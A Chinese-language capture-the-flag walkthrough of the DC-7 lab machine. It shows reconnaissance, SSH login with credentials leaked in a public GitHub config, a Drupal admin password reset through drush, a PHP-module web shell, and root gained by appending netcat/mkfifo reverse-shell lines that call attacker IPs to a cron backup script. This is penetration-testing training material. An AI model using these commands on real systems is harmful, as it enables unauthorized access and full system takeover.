总结:社工尝试

先扫一下c段,发现一下靶机

image-20230413111626730

然后扫一下端口

image-20230413111722488

只有两端口是开放的 80 22

image-20230413111858833

熟悉的drupal框架,只不过这个版本比较新,之前存在漏洞的是7

msf找不到

然后尝试一下searchsploit工具,发现是找到的漏洞版本都太新,不适合

image-20230413112735971

然后扫目录

sqlmap 尝试后都无果 最后后翻译了一下网站给的话

1
2
3
DC-7引入了一些“新”概念,但我将留给你们去弄清楚它们是什么。:-)
虽然这个挑战并不完全是技术性的,但如果你需要诉诸暴力或字典攻击,你可能不会成功。
你要做的是跳出框框思考。在盒子外面。:-)

image-20230413113004345

发现存在也该一个玩意,于是尝试去网上进行搜索发现了一个github地址

image-20230413113123298

发现这个github地址

于是查看配置文件发现

image-20230413113144350

1
2
3
4
5
6
7
<?php
$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";
$conn = mysqli_connect($servername, $username, $password, $dbname);
?>

于是可以尝试数据库连接或者ssh连接,看哪个能成功

image-20230413113616668

ssh登录成功

image-20230413113653632

发现存在加密文件

ls一下看见了两个文件 一个backups 一个mobx进入backups文件夹,发现两个文件,gpg后缀的!!!第一次见 百度一下看看
gpg是一种基于密钥的加密方式,使用了一对密钥对消息进行加密和解密,来保证消息的安全传输格式是用来加密文件的。

image-20230413113924613

然后再看一下 mbox 文件 cat mbox 发现在/opt/scripts/ 有个可以执行的脚本文件 backups.sh

image-20230413114040196

发现了drush 什么是drush????????????? 经过百度查阅发现drushdrupal shell 专门管理drupal站点的shell

进入到/var/www/html目录下,使用drush命令修改admin用户的密码为123456,发现可以修改成功!!!

image-20230413114909163

修改成功

但是登不进去

1
drush php-eval 'db_query("DELETE FROM flood");'

先修改密码 在执行这个语句才能登录进去

image-20230413115924584

进入后台后 需要找一下哪能进行漏洞利用

在Content—>Add content–>Basic page下

因为这里可以写文件,然后就可以写木马,然后进行上传,然后我们找到上传地址,然后访问上传文件就可以利用shell了

image-20230413120811600

但是这里没有php模板,所以我们就得自己装一个

1
https://www.drupal.org/project/php  # 插件下载地址
1
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz #模块包

image-20230413160601781

上传成功后,进行反弹shell

image-20230413160705537

反弹成功,进行交互shell

1
python -c 'import pty;pty.spawn("/bin/bash")'

然后就是尝试进行提权了

就是利用之前发现的一个sh文件来进行提权

image-20230413192501447

因为文件里的内容是这样的 rm xxxx于是我们就可以考虑一下使用rm来进行反弹shell利用这个脚本反弹shell之后就是root权限了

1
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.142.129 7777 >/tmp/f" >> backups.sh

添加单纯的nc反弹shell也行 不用rm也行

1
echo "nc -e /bin/bash/ 192.168.202.129 1234" >>backups.sh